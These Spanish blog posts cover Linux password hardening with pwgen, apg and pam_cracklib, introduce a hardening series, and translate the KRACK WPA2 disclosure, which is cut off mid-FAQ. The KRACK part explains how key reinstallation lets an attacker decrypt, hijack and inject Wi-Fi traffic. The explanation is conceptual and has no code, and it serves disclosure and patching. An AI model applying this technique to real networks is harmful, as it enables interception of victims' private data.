Las contraseñas son la clave para un sistema Linux seguro. Aseguran sus cuentas de usuario, sistemas de archivos encriptados, aplicaciones y claves SSH/GPG . Son la principal forma en que una computadora elige confiar en la persona que la usa, por lo que una gran parte de la seguridad consiste simplemente en elegir contraseñas seguras y protegerlas. Una contraseña puede cambiar dráticamente la seguridad de cualquier sistema, asegúrate de elegir la correcta.
Elegir contraseñas seguras.
Cuando la seguridad se basa en una frase de contraseña, debe ser lo suficientemente compleja como para no ser fácilmente adivinada, por ejemplo, que no contenga nada de información personal, o que no pueda ser descifrada usando, por ejemplo, ataques de fuerza bruta. Los principios de las contraseñas fuertes se basan en la longitud y la aleatoriedad . En la criptografía, la calidad de una frase de contraseña se conoce como: seguridad entrópica.
Entre las contraseñas inseguras están aquellas que contienen:
1. Información de identificación personal (por ejemplo, el nombre de su perro, fecha de nacimiento, código de área, videojuego favorito).
2. Sustituciones de caracteres simples en palabras (Ej., s3cur1ty)
3. Palabras o cadenas comunes seguidas o precedidas por números agregados, símbolos o caracteres (p. Ej., linux25102017%)
4. Frases comunes o frases cortas de palabras relacionadas gramaticalmente (por ejemplo, kernel linux), e incluso con la sustitución de caracteres.
La elección correcta para una contraseña es algo largo (8-20 caracteres, dependiendo de la importancia) y completamente aleatorio. Una buena técnica para construir contraseñas seguras y aleatorias es basarlas en los caracteres de cada palabra de una oración. Tome por ejemplo "Somos Security Hack Labs" podría traducirse a 5oS3Ha(|4bS. Este enfoque podría hacer que sea más fácil recordar una contraseña.
Un mejor enfoque es generar contraseñas pseudoaleatorias con herramientas como pwgen o apg: para memorizarlas, una técnica (para las que se escriben a menudo) es generar una contraseña larga y memorizar una cantidad mínimamente segura de caracteres, anotando temporalmente el total generado cuerda. Con el tiempo, aumente la cantidad de caracteres escritos, hasta que la contraseña esté memorizada totalmente. Esta técnica es más difícil, pero puede proporcionar la confianza de que una contraseña no aparecerá en listas de palabras o ataques de fuerza bruta "inteligente" que combinen palabras y caracteres sustitutos o que pueden ser encontrados en diccionarios para fuerza bruta.
Podemos utilizar las dos herramientas mencionadas anteriormente de la siguiente manera:
[root@SecHackLabs shl]# pwgen --help
Usage: pwgen [ OPTIONS ] [ pw_length ] [ num_pw ]
Options supported by pwgen:
-c or --capitalize
Include at least one capital letter in the password
-A or --no-capitalize
Don't include capital letters in the password
-n or --numerals
Include at least one number in the password
-0 or --no-numerals
Don't include numbers in the password
-y or --symbols
Include at least one special symbol in the password
-s or --secure
Generate completely random passwords
-B or --ambiguous
Don't include ambiguous characters in the password
-h or --help
Print a help message
-H or --sha1=path/to/file[#seed]
Use sha1 hash of given file as a (not so) random generator
-C
Print the generated passwords in columns
-1
Don't print the generated passwords in columns
-v or --no-vowels
Do not use any vowels so as to avoid accidental nasty words
Esas son las opciones generales de la herramienta, una buena manera de usarla para obtener una contraseña segura sería la siguiente:
[root@SecHackLabs shl]# pwgen -cnyv 20 100
-c : Incluye al menos una mayúscula en la contraseña.
-n : Incluye al menos un número en la contraseña.
-y : Incluye carácteres especiales en la contraseña.
-v : No usa vocales.
20 : El número de carácteres en la contraseña.
100 : El número de contraseñas generadas.
[root@SecHackLabs shl]# apg -h
apg Automated Password Generator
Copyright (c) Adel I. Mirzazhanov
apg [-a algorithm] [-r file]
[-M mode] [-E char_string] [-n num_of_pass] [-m min_pass_len]
[-x max_pass_len] [-c cl_seed] [-d] [-s] [-h] [-y] [-q]
-M mode new style password modes
-E char_string exclude characters from password generation process
-r file apply dictionary check against file
-b filter_file apply bloom filter check against filter_file
(filter_file should be created with apgbfm(1) utility)
-p substr_len paranoid modifier for bloom filter check
-a algorithm choose algorithm
1 - random password generation according to
password modes
0 - pronounceable password generation
-n num_of_pass generate num_of_pass passwords
-m min_pass_len minimum password length
-x max_pass_len maximum password length
-s ask user for a random seed for password
generation
-c cl_seed use cl_seed as a random seed for password
-d do NOT use any delimiters between generated passwords
-l spell generated password
-t print pronunciation for generated pronounceable password
-y print crypted passwords
-q quiet mode (do not print warnings)
-h print this help screen
-v print version information
Una buena manera de usar apg es así:
[root@SecHackLabs shl]# apg -a 1 -m 20 -n 20
-a 1 : Genera contraseñas random de acuerdo a los modos de contraseñas.
-m 20 : El mínimo de la contraseña son 20 carácteres.
-n 20 : El número de contraseñas generadas (20).
El resultado será:
También es muy eficaz combinar estas dos técnicas guardando contraseñas aleatorias largas y complejas con un administrador de contraseñas (Keepassxc es la mejor alternativa y al cual más adelante le dedicaremos un apartado en el blog para explicar sus funcionalidades), que a su vez se accederá con una contraseña que deberá usarse solo con ese fin, evitando sobre todo transmitirla alguna vez en cualquier tipo de red. Este método, por supuesto, limita el uso de las contraseñas almacenadas a los terminales donde la base de datos está disponible para lectura (que, por otro lado, podría verse como una característica de seguridad adicional).
Una vez que elija una contraseña segura, asegúrese de mantenerla segura. Tenga cuidado con la manipulación y evite reutilizar contraseñas para que los servidores inseguros no puedan filtrar más información de la necesaria. Los administradores de contraseñas pueden ayudar a administrar grandes cantidades de contraseñas complejas: si está copiando y pegando las contraseñas almacenadas del administrador a las aplicaciones que las necesitan, asegúrese de borrar el buffer de copia o portapapeles cada vez y asegúrese de que no se guarden en ningún tipo de log (por ejemplo, no los pegue en la terminal de comandos, que los almacenaría en archivos como .bash_history).
Como regla, no elijas contraseñas inseguras solo porque las más seguras son más difíciles de recordar. Las contraseñas son un acto de equilibrio. Es mejor tener una base de datos encriptada de contraseñas seguras, protegidas por una clave y una contraseña maestra sólida, que tener muchas contraseñas débiles similares.
Otro aspecto de la fortaleza de la frase de contraseña es que no debe ser fácilmente recuperable desde otros lugares. Si utiliza la misma frase de contraseña para su inicio de sesión y para el cifrado del disco, asegúrese de que /etc/shadow también termine en una partición cifrada o utilice un algoritmo de hash fuerte (es decir, sha-512/bcrypt, no md5) para el hash de contraseña almacenado. Conozca más acerca de los hashes SHA aquí.
Forzando el uso de contraseñas seguras usando pam_cracklib.
pam_cracklib ofrece protección contra ataques de fuerza brutay ayuda a configurar una política de seguridad aplicable a todo el sistema.
Nota: La cuenta root no se ve afectada por la implementación de políticas con pam_cracklib.
A continuación explicaremos cómo llevar a cabo la implementación de esta política para la creación de contraseñas:
1. Solicitar 2 veces la contraseña en caso de error.
2. 10 caracteres de longitud mínima (opción minlen).
3. Al menos 6 caracteres deben ser diferentes de la contraseña anterior al ingresar una nueva (opción difok).
4. Al menos 1 dígito (opción dcredit).
5. Al menos 1 mayúscula (opción ucredit).
6. Al menos 1 carácter especial (opción ocredit).
7. Al menos 1 minúscula (opción icredit).
Editamos el archivo /etc/pam.d/passwdde la siguiente manera:
Ahora vemos un ejemplo de los mensajes que nos arroja cada vez que incumplimos uno de los parámetros anteriores y finalmente nos bloquea los intentos:
[shl@SecHackLabs ~]$ passwd
Changing password for shl.
Current password:
New password:
Retype new password:
BAD PASSWORD: is too similar to the old one
New password:
BAD PASSWORD: it is too simplistic/systematic
passwd: Have exhausted maximum number of retries for service
passwd: password unchanged
Esperamos que esta publicación haya sido de utilidad, cualquier
inquietud o sugerencia dejarla en los comentarios en bien, en los medios
que indicamos a continuación.
Uno de los primeros pasos si queremos adentrarnos en el mundo de la Seguridad Informática más allá de la simple ejecución de scripts y de buscar la manera de vulnerar sistemas (escaneando en busca de fallos o cualquier otro método), es sin duda, asegurar a un nivel apropiado el sistema operativo que vamos a utilizar para realizar nuestras pruebas y trabajos que esto implica.
Está claro que la mayoría de especialistas en Seguridad Informática toman a GNU/Linux cómo su primera alternativa al momento de introducirse en el mundo del hacking, pentesting y todo lo relacionado, debido a la seguridad que ofrecen los sistemas GNU/Linux por naturaleza pero pese a ello no debemos entrar en la zona de confort y confiarnos en que con solamente usar GNU/Linux estamos seguros, la mayoría de seguridad en un sistema depende de la persona que lo utiliza y de las políticas que utiliza para hacerlo seguro.
Tal y cómo lo propusimos en nuestra sala de chat empezaremos con una serie de post identificados con el título #Linux-Hardening y la etiqueta linux-hardening, todo esto con la finalidad de que todo aquel que siga estos post, una vez finalizada la serie tendrá una seguridad garantizada en su sistema operativo y no solo a nivel de software, sino que también tendrá una mentalidad más centrada y responsable sobre importancia de un sistema seguro y de los riesgos permanentes que hay en la red, a los cuales nos exponemos cada vez que establecemos una conexion.
A lo largo de esta serie de post vamos a tratar diferentes temas, desde el hardening básico hasta el hardening al Kernel GNU/Linux, inclusive el hardening a componentes del hardware.
Conceptos a tener en cuenta.
1. Es posible reforzar la seguridad tanto como para inutilizar su sistema. El truco es asegurarlo sin exagerar.
2. Hay muchas otras cosas que se pueden hacer para aumentar la seguridad, pero la mayor amenaza es, y siempre será, el usuario. Cuando piensas en seguridad, tienes que pensar en capas. Cuando una capa se rompe, otra debe detener el ataque. Pero nunca puede hacer que el sistema sea 100% seguro a menos que desenchufe la máquina de todas las redes, la trabe en una caja fuerte y nunca la use.
3. Sé un poco paranoico, eso ayuda. Y sé sospechoso. Si algo suena demasiado bueno para ser verdad, ¡probablemente no lo sea!
4. El principio de privilegio mínimo: cada parte de un sistema solo debería poder acceder a lo que se requiere para usarlo, y nada más.
5. El sistema que utilizaremos para las pruebas será ArchLinux, pero es muy probable que todas las mejoras de seguridad que se realizaran funcionen en la mayoría de distribuciones GNU/Linux, cuando haya una específica para alguna distribución la marcaremos con el hashtag #SoloPara$(distro), ejemplo: #SoloParaArchLinux.
7. Las publicaciones que se hagan las añadiremos en la sección "Publicaciones" de este post y se actualizará con cada entrega, si deseas estar al tanto guarda este post en los favoritos.
Descubrimos debilidades serias en WPA2, un protocolo que asegura todas las redes Wi-Fi protegidas modernas. Un atacante dentro del alcance de la víctima puede explotar estas debilidades usando Key Reinstallation Attacks(KRACKs). Concretamente, los atacantes pueden usar esta nueva técnica de ataque para leer información que previamente se suponía que estaba cifrada de forma segura. Esto se puede abusar para robar información confidencial, como números de tarjetas de crédito, contraseñas, mensajes de chat, correos electrónicos, fotos, etc. El ataque funciona contra todas las redes Wi-Fi protegidas modernas . Dependiendo de la configuración de la red, también es posible inyectar y manipular datos. Por ejemplo, un atacante podría inyectar ransomware u otro malware en sitios web.
Las debilidades están en el estándar Wi-Fi en sí y no en productos individuales o implementaciones. Por lo tanto, es probable que se vea afectada cualquier implementación correcta de WPA2. Para evitar el ataque, los usuarios deben actualizar los productos afectados tan pronto como las actualizaciones de seguridad estén disponibles. Tenga en cuenta que si su dispositivo es compatible con Wi-Fi, lo más probable es que se vea afectado. Durante nuestra investigación inicial, descubrimos que Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys y otros, se ven afectados por alguna variante de los ataques. Para obtener más información sobre productos específicos, consulte la base de datos de CERT (Computer Emergency Response Team)/CC o comuníquese con su proveedor.
Cómo prueba de concepto, ejecutamos un ataque clave de reinstalación contra un teléfono inteligente Android. En esta demostración, el atacante puede descifrar todos los datos que transmite la víctima. Para un atacante, esto es fácil de lograr, porque nuestro ataque de reinstalación clave es excepcionalmente devastador contra Linux y Android 6.0 o superior. Esto se debe a que Android y Linux pueden engañarse para (re)instalar una clave de cifrado totalmente nula( ver más abajo para obtener más información ). Al atacar a otros dispositivos, es más difícil descifrar todos los paquetes, aunque se puede descifrar un gran número de paquetes. En cualquier caso, la siguiente demostración destaca el tipo de información que un atacante puede obtener al
realizar ataques de reinstalación de claves contra redes de Wi-Fi protegidas:
Nuestro ataque no se limita a recuperar credenciales de inicio de sesión (es decir, direcciones de correo electrónico y contraseñas). En general, cualquier dato o información que la víctima transmita puede descifrarse. Además, según el dispositivo que se utilice y la configuración de la red, también es posible descifrar los datos enviados a la víctima (por ejemplo, el contenido de un sitio web). Aunque los sitios web o las aplicaciones pueden usar HTTPS como una capa adicional de protección, le advertimos que esta protección extra puede (todavía) pasarse por alto en un número preocupante de situaciones. Por ejemplo, HTTPS se omitió anteriormente en el software de navegadores, en iOS y OS X de Apple, en aplicaciones de Android , en aplicaciones de Android nuevamente, en aplicaciones de respaldo e incluso en aplicaciones VPN.
Detalles
Nuestro ataque principal está en contra del protocolo de enlace (handshake) de 4 vías del protocolo WPA2. Este protocolo de enlace se ejecuta cuando un cliente desea unirse a una red Wi-Fi protegida, y se utiliza para confirmar que tanto el cliente como el punto de acceso poseen las credenciales correctas (por ejemplo, la contraseña precompartida de la red). Al mismo tiempo, el protocolo de enlace de 4 vías también negocia una nueva clave de cifrado que se utilizará para cifrar todo el tráfico subsiguiente. Actualmente, todas las redes Wi-Fi protegidas modernas utilizan el protocolo de enlace de 4 vías. Esto implica que todas estas redes se ven afectadas por (alguna variante de) nuestro ataque. Por ejemplo, el ataque funciona contra redes Wi-Fi personales y empresariales, contra el WPA anterior y el último estándar WPA2, e incluso contra redes que solo usan AES. Todos nuestros ataques contra WPA2 usan una técnica novedosa llamada ataque de reinstalación clave (KRACK):
Ataques clave de reinstalación: descripción de alto nivel
En un ataque de reinstalación de clave, el adversario engaña a una víctima para que vuelva a instalar una clave que ya está en uso. Esto se logra manipulando y reproduciendo mensajes criptográficos de comunicación . Cuando la víctima reinstala la clave, los parámetros asociados, como el número de paquete de transmisión incrementa y el número de paquete de recepción (es decir, el contador de reproducción) se restablecen a su valor inicial. Básicamente, para garantizar la seguridad, una clave solo debe instalarse y usarse una vez. Desafortunadamente, encontramos que esto no está garantizado por el protocolo WPA2. Al manipular los protocolos de enlace criptográficos, podemos abusar de esta debilidad en la práctica.
Ataques clave de reinstalación: ejemplo concreto contra el protocolo de enlace de 4 vías.
Como se describe en la introducción del documento de investigación, la idea detrás de un ataque clave de reinstalación se puede resumir de la siguiente manera. Cuando un cliente se une a una red, ejecuta el enlace de 4 vías para negociar una nueva clave de cifrado. Instalará esta clave después de recibir el mensaje 3 del protocolo de enlace de 4 vías. Una vez que se instala la clave, se usará para cifrar los marcos de datos normales utilizando un protocolo de encriptación. Sin embargo, como los mensajes se pueden perder o descartar, el Punto de acceso (AP) retransmitirá el mensaje 3 si no recibió una respuesta apropiada como acuse de recibo. Como resultado, el cliente puede recibir el mensaje 3 varias veces. Cada vez que recibe este mensaje, reinstalará la misma clave de cifrado y, por lo tanto, reiniciará el número de paquete de transmisión incremental y recibirá el contador de reproducción utilizado por el protocolo de cifrado. Mostramos que un atacante puede forzar estos restablecimientos recolectando y reproduciendo retransmisiones del mensaje 3 del protocolo de enlace de 4 vías. Al forzar la reutilización del nonce de esta manera, el protocolo de encriptación puede ser atacado, por ejemplo, los paquetes pueden ser reproducidos, descifrados y / o forjados. La misma técnica también se puede utilizar para atacar a la clave de grupo, PeerKey, TDLS, y rápido enlace de transición BSS.
Impacto practico
En nuestra opinión, el ataque más extendido y prácticamente impactante es el ataque de reinstalación clave contra el protocolo de enlace de 4 vías. Basamos este juicio en dos observaciones. Primero, durante nuestra propia investigación encontramos que la mayoría de los clientes se vieron afectados por ella. En segundo lugar, los adversarios pueden usar este ataque para descifrar los paquetes enviados por los clientes, lo que les permite interceptar información confidencial, como contraseñas o cookies. El descifrado de paquetes es posible porque un ataque de reinstalación de clave hace que los números de transmisión (a veces también denominados números de paquete o vectores de inicialización) se restablezcan a cero. Como resultado, se usa la misma clave de cifrado con valores nonce que ya se han usado en el pasado . A su vez, esto hace que todos los protocolos de encriptación de WPA2 reutilicen el flujo de claves al encriptar los paquetes. En caso de que un mensaje que reutilice el flujo de claves tenga contenido conocido, se vuelve trivial derivar el flujo de claves usado. Este flujo de claves se puede usar para descifrar mensajes con el mismo valor. Cuando no hay contenido conocido, es más difícil descifrar paquetes, aunque aún es posible en varios casos. En la práctica, encontrar paquetes con contenido conocido no es un problema, por lo que se debe suponer que cualquier paquete puede descifrarse.
La capacidad de descifrar paquetes puede usarse para descifrar paquetes TCP/SYN. Esto permite a un adversario obtener los números de secuencia TCP de una conexión y secuestrar las conexiones TCP. Como resultado, aunque se usa WPA2, el adversario ahora puede realizar uno de los ataques más comunes contra redes Wi-Fi abiertas: inyectar datos maliciosos en conexiones HTTP no cifradas. Por ejemplo, un atacante puede abusar de esto para inyectar ransomware o malware en sitios web que la víctima está visitando.
Si la víctima usa el protocolo de cifrado WPA-TKIP o GCMP, en lugar de AES-CCMP, el impacto es especialmente catastrófico. Contra estos protocolos de encriptación, la reutilización de nonce permite a un adversario no solo descifrar, sino también forjar e inyectar paquetes . Además, debido a que GCMP utiliza la misma clave de autenticación en ambas direcciones de comunicación, y esta clave se puede recuperar si los números se reutilizan, se ve especialmente afectada. Tenga en cuenta que la compatibilidad con GCMP se está actualizando con el nombre Wireless Gigabit (WiGig), y se espera que se adopte a un ritmo elevado en los próximos años.
La dirección en la que los paquetes pueden descifrarse (y posiblemente forjarse) depende del protocolo de enlace que se está atacando. Simplificado, al atacar el enlace de 4 vías, podemos descifrar (y forjar) los paquetes enviados por el cliente. Al atacar el protocolo de enlace de Fast BSS Transition (FT), podemos descifrar (y forjar) los paquetes enviados al cliente. Finalmente, la mayoría de nuestros ataques también permiten la reproducción de tramas unidifusión, difusión y multidifusión. Para más detalles, consulte la Sección 6 de nuestro trabajo de investigación .
Tenga en cuenta que nuestros ataques no recuperan la contraseña de la red Wi-Fi . Tampoco recuperan (ninguna parte de) la nueva clave de encriptación que se negocia durante el protocolo de enlace de 4 vías.
Android y Linux
Nuestro ataque es especialmente catastrófico contra la versión 2.4 y superior de wpa_supplicant, un cliente Wi-Fi comúnmente usado en Linux. Aquí, el cliente instalará una clave de cifrado totalmente cero en lugar de reinstalar la clave real. Esta vulnerabilidad parece ser causada por un comentario en el estándar Wi-Fi que sugiere borrar la clave de cifrado de la memoria una vez que se instaló por primera vez. Cuando el cliente recibe ahora un mensaje retransmitido 3 del protocolo de 4 vías, volverá a instalar la clave de cifrado ahora borrada, instalando efectivamente una clave de cero. Como Android usa wpa_supplicant, Android 6.0 y superior también contiene esta vulnerabilidad. Esto hace que sea trivial interceptar y manipular el tráfico enviado por estos dispositivos Linux y Android . Tenga en cuenta que actualmente el 41% de los dispositivos Android son vulnerables a esta variante excepcionalmente devastadora de nuestro ataque.
Asignados identificadores CVE
Se asignaron los siguientes identificadores y vulnerabilidades comunes (CVE, por sus siglas en inglés) para rastrear qué productos se ven afectados por instancias específicas de nuestro ataque de reinstalación clave:
*CVE-2017-13077 : Reinstalación de la clave de encriptación pairwise (PTK-TK) en el enlace de 4 vías. *CVE-2017-13078 : Reinstalación de la clave de grupo (GTK) en el enlace de 4 vías. *CVE-2017-13079 : Reinstalación de la clave del grupo de integridad (IGTK) en el enlace de 4 vías. *CVE-2017-13080 : Reinstalación de la clave de grupo (GTK) en el protocolo de enlace de grupo. *CVE-2017-13081 : Reinstalación de la clave de grupo de integridad (IGTK) en el protocolo de enlace de grupo. *CVE-2017-13082 : aceptación de una solicitud de reasignación de transición rápida de BSS (FT) y reinstalación de la clave de cifrado por parejas (PTK-TK) mientras la procesa.
*CVE-2017-13084 : Reinstalación de la tecla STK en el protocolo de enlace PeerKey. *CVE-2017-13086 : reinstalación de la clave de configuración de enlace directo Tunneled (TDLS) PeerKey (TPK) en el protocolo de enlace TDLS. * CVE-2017-13087 : reinstalación de la clave de grupo (GTK) al procesar un marco de respuesta de modo de suspensión de gestión de red inalámbrica (WNM). *CVE-2017-13088 : reinstalación de la clave de grupo de integridad (IGTK) al procesar un marco de respuesta de modo de suspensión de gestión de red inalámbrica (WNM).
Tenga en cuenta que cada identificador de CVE representa una instanciación específica de un ataque de reinstalación de clave. Esto significa que cada ID de CVE describe una vulnerabilidad de protocolo específica y, por lo tanto, muchos proveedores se ven afectados por cada ID de CVE individual . También puede leer la nota de vulnerabilidad VU#228519 de CERT/CC para obtener detalles adicionales sobre qué productos se sabe que están afectados.
Herramientas
Hemos realizado secuencias de comandos para detectar si una implementación del protocolo de enlace de 4 vías, el protocolo de enlace de grupo o el protocolo de enlace de transición rápida (FT) es vulnerable a los ataques de reinstalación de claves. Estas secuencias de comandos se lanzarán una vez que hayamos tenido tiempo de limpiar sus instrucciones de uso.
También realizamos un script de prueba de concepto que explota la instalación de la llave (re) all-zero presente en ciertos dispositivos Android y Linux. Este script es el que usamos en el video de demostración . Será lanzado una vez que todos tengan una posibilidad razonable de actualizar sus dispositivos (y tuvimos un cambio para preparar el repositorio de códigos para su lanzamiento). Observamos que la fiabilidad de nuestro script de prueba de concepto puede depender de cuán cerca esté la víctima de la red real. Si la víctima está muy cerca de la red real, la secuencia de comandos puede fallar porque la víctima siempre se comunicará directamente con la red real, incluso si la víctima está (forzada) en un canal de Wi-Fi diferente a esta red.
Preguntas y Respuestas
¿Necesitamos ahora WPA3?
No, afortunadamente las implementaciones pueden parchearse en una forma compatible con versiones anteriores . Esto significa que un cliente parcheado puede comunicarse con un punto de acceso sin parcheo, y viceversa. En otras palabras, un cliente o puntos de acceso parcheado envía exactamente los mismos mensajes del protocolo de enlace que antes, y exactamente en los mismos momentos en el tiempo. Sin embargo, las actualizaciones de seguridad asegurarán que una clave solo se instala una vez, evitando nuestros ataques. De nuevo, actualice todos sus dispositivos una vez que las actualizaciones de seguridad estén disponibles.
¿Debo cambiar mi contraseña de Wi-Fi?
Cambiar la contraseña de su red Wi-Fi no impide (o atenúa) el ataque. Por lo tanto, no tiene que actualizar la contraseña de su red Wi-Fi. En su lugar, debe asegurarse de que todos sus dispositivos estén actualizados, y también debe actualizar el firmware de su enrutador. Después de actualizar su enrutador, puede opcionalmente cambiar la contraseña de Wi-Fi como precaución adicional.
Estoy usando WPA2 con solo AES. ¿Eso también es vulnerable?
Sí, esa configuración de red también es vulnerable. El ataque funciona contra WPA1 y WPA2, contra redes personales y empresariales, y contra cualquier conjunto de cifrado que se use (WPA-TKIP, AES-CCMP y GCMP). ¡Entonces todos deben actualizar sus dispositivos para evitar el ataque!
Usas la palabra "nosotros" en este sitio web. ¿Quienes somos nosotros?
Utilizo la palabra "nosotros" porque eso es lo que estoy acostumbrado a escribir en los documentos. En la práctica, todo el trabajo lo hago yo, siendo yo Mathy Vanhoef. Mi impresionante supervisor se agrega bajo una autoría honorífica al trabajo de investigación por su excelente orientación general. Pero todo el trabajo real se hizo por mi cuenta. Entonces, la lista de documentos académicos del autor no representa la división del trabajo :)
¿Es mi dispositivo vulnerable?
Probablemente. Cualquier dispositivo que use Wi-Fi es probablemente vulnerable. Póngase en contacto con su proveedor para obtener más información.
¿Qué sucede si no hay actualizaciones de seguridad para mi enrutador?
Nuestro ataque principal está en contra del protocolo de enlace de 4 vías, y no explota los puntos de acceso, sino que se dirige a los clientes. Por lo tanto, es posible que su enrutador no requiera actualizaciones de seguridad. Le recomendamos encarecidamente que contacte a su proveedor para obtener más detalles. Sin embargo, en general, puede intentar mitigar los ataques contra enrutadores y puntos de acceso deshabilitando la funcionalidad del cliente (que se utiliza, por ejemplo, en los modos de repetidor) y deshabilitando 802.11r (roaming rápido). Para los usuarios habituales del hogar, su prioridad debe ser la actualización de clientes, como computadoras portátiles y teléfonos inteligentes.
¿Cómo descubriste estas vulnerabilidades?
Cuando trabajé en la versión final de otro artículo, estaba revisando dos reclamos que hicimos sobre la implementación de OpenBSD del enlace de 4 vías. En cierto sentido, estaba desfalleciendo, porque se suponía que debía estar terminando el trabajo, en lugar de mirar el código. Pero allí estaba yo, inspeccionando un código que ya leí cien veces, para evitar tener que trabajar en el próximo párrafo. Fue en ese momento cuando me llamó la atención una llamada particular a ic_set_key . Esta función se invoca al procesar el mensaje 3 del protocolo de enlace de 4 vías, e instala la clave de par al controlador. Mientras miraba esa línea de código pensé: "Ha. Me pregunto qué pasa si esa función se llama dos veces". En el momento en que (correctamente) adiviné que llamarlo dos veces podría restablecer los nonces asociados a la clave. Y dado que el mensaje 3 puede ser retransmitido por el punto de acceso, en la práctica podría llamarse de hecho dos veces. "Es mejor hacer una nota de eso. Otros proveedores también pueden llamar a esa función dos veces. Pero terminemos primero este artículo ... " . Unas semanas más tarde, después de terminar el trabajo y completar otro trabajo, investigué esta nueva idea con más detalle. Y el resto es historia.
El protocolo de enlace de 4 vías fue matemáticamente probado como seguro. ¿Cómo es posible tu ataque?
La breve respuesta es que la prueba formal no asegura que una llave se instale una vez. En cambio, solo garantiza que la clave negociada permanezca en secreto, y que los mensajes de saludo no se pueden falsificar.
La respuesta más larga se menciona en la introducción de nuestro trabajo de investigación : nuestros ataques no violan las propiedades de seguridad probadas en el análisis formal del protocolo de enlace de 4 vías. En particular, estas pruebas indican que la clave de cifrado negociada sigue siendo privada, y que se confirma la identidad tanto del cliente como del punto de acceso (AP). Nuestros ataques no pierden la clave de cifrado. Además, aunque los marcos de datos normales se pueden falsificar si se usa TKIP o GCMP, un atacante no puede forjar mensajes de enlace y, por lo tanto, no puede suplantar al cliente o AP durante los protocolos de enlace. Por lo tanto, las propiedades que se probaron en el análisis formal del protocolo de enlace de 4 vías siguen siendo verdaderas. Sin embargo, el problema es que las pruebas no modelan la instalación de la clave. Dicho de otra manera, los modelos formales no definían cuándo debía instalarse una clave negociada. En la práctica, esto significa que la misma clave se puede instalar varias veces, restableciendo así los contadores de no repetición y repetición utilizados por el protocolo de cifrado (por ejemplo, mediante WPA-TKIP o AES-CCMP).
¿La gente está explotando esto en la naturaleza?
No estamos en condiciones de determinar si esta vulnerabilidad ha sido (o está siendo) explotada activamente en la naturaleza. Dicho esto, las reinstalaciones clave pueden ocurrir espontáneamente sin que haya un adversario presente. Esto puede suceder, por ejemplo, si se pierde el último mensaje de un protocolo de enlace, lo que provoca una retransmisión del mensaje anterior. Al procesar este mensaje retransmitido, las claves pueden volver a instalarse, lo que da como resultado la reutilización del nonce como en un ataque real.
¿Debo usar temporalmente WEP hasta que mis dispositivos estén parcheados?
¡NO! Siga usando WPA2.
¿Se actualizará el estándar Wi-Fi para abordar esto?
Parece que hay un acuerdo de que el estándar Wi-Fi debe actualizarse para evitar explícitamente nuestros ataques. Es probable que estas actualizaciones sean compatibles con versiones anteriores con implementaciones anteriores de WPA2. El tiempo dirá si y cómo se actualizará el estándar.
¿La Alianza Wi-Fi también aborda estas vulnerabilidades?
Para aquellos que no están familiarizados con Wi-Fi, Wi-Fi Alliance es una organización que certifica que los dispositivos Wi-Fi cumplen con ciertos estándares de interoperabilidad. Entre otras cosas, esto garantiza que los productos Wi-Fi de diferentes proveedores funcionen bien juntos.
Wi-Fi Alliance tiene un plan para ayudar a remediar las vulnerabilidades descubiertas en WPA2. Resumiendo, ellos:
1. Exigir pruebas para esta vulnerabilidad dentro de su red de laboratorio de certificación global.
2. Proporcione una herramienta de detección de vulnerabilidades para usar por cualquier miembro de Wi-Fi Alliance (esta herramienta se basa en mi propia herramienta de detección que determina si un dispositivo es vulnerable a algunos de los ataques de reinstalación de llaves descubiertos).
3. Comunique ampliamente los detalles sobre esta vulnerabilidad, incluidos los remedios, a los proveedores de dispositivos. Además, se recomienda a los vendedores que trabajen con sus proveedores de soluciones para integrar rápidamente los parches necesarios.
4. Comunique la importancia de que los usuarios se aseguren de que han instalado las últimas actualizaciones de seguridad recomendadas por los fabricantes de dispositivos.
¿Por qué utilizaste match.com como ejemplo en el video de demostración?
Los usuarios comparten mucha información personal en sitios web como match.com. Por lo tanto, este ejemplo resalta toda la información sensible que un atacante puede obtener, y es de esperar que con este ejemplo las personas también se den cuenta mejor del impacto potencial (personal). También esperamos que este ejemplo haga que las personas conozcan toda la información que estos sitios web de citas pueden recopilar.
¿Cómo se pueden prevenir estos tipos de errores?
Necesitamos más inspecciones rigurosas de implementaciones de protocolos. ¡Esto requiere ayuda e investigación adicional de la comunidad académica! Junto con otros investigadores, esperamos organizar talleres para mejorar y verificar la corrección de las implementaciones del protocolo de seguridad.
En primer lugar, soy consciente de que los ataques KRACK son pleonasmos, ya que KRACK significa una instalación rápida y, por lo tanto, ya contiene la palabra ataque. Pero el nombre de dominio rima, por eso se usa.
¿Recibió recompensas de errores por esto?
Aún no he solicitado ninguna recompensa por errores, ni he recibido ninguna.
¿Cómo se compara este ataque con otros ataques contra WPA2?
Este es el primer ataque contra el protocolo WPA2 que no se basa en adivinar la contraseña. De hecho, otros ataques contra la red habilitada para WPA2 están en contra de las tecnologías circundantes, tales como Wi-Fi Protected Setup (WPS), o son ataques contra estándares más antiguos como WPA-TKIP. Dicho de otra manera, ninguno de los ataques existentes estaba en contra del protocolo de enlace de 4 vías o en contra de los paquetes de cifrado definidos en el protocolo WPA2. En contraste, nuestro ataque de reinstalación clave contra el protocolo de enlace de 4 vías (y contra otros protocolos de enlace) resalta las vulnerabilidades en el protocolo WPA2.
¿Otros protocolos también se ven afectados por los ataques de reinstalación de claves?
Esperamos que ciertas implementaciones de otros protocolos sean vulnerables a ataques similares. Por lo tanto, es una buena idea auditar las implementaciones del protocolo de seguridad con este ataque en mente. Sin embargo, consideramos que es improbable que otros estándares de protocolo se vean afectados por ataques similares (o al menos así lo esperamos). Sin embargo, ¡todavía es una buena idea auditar otros protocolos!
¿Hay una versión de mayor resolución del logotipo?
Si hay ¡Y muchas gracias a la persona que hizo el logo!
¿Cuándo notificó por primera vez a los proveedores sobre la vulnerabilidad?
Enviamos notificaciones a proveedores cuyos productos probamos a nosotros mismos alrededor del 14 de julio de 2017. Después de comunicarnos con estos proveedores, nos dimos cuenta de cuán generalizadas son las debilidades que descubrimos (solo entonces realmente me convencí a mí mismo de que era de hecho una debilidad del protocolo y no un conjunto de Errores de implementación). En ese momento, decidimos dejar que CERT/CC ayudara con la divulgación de las vulnerabilidades. A su vez, el CERT/CC envió una amplia notificación a los vendedores el 28 de agosto de 2017.
¿Por qué OpenBSD lanzó silenciosamente un parche antes del embargo?
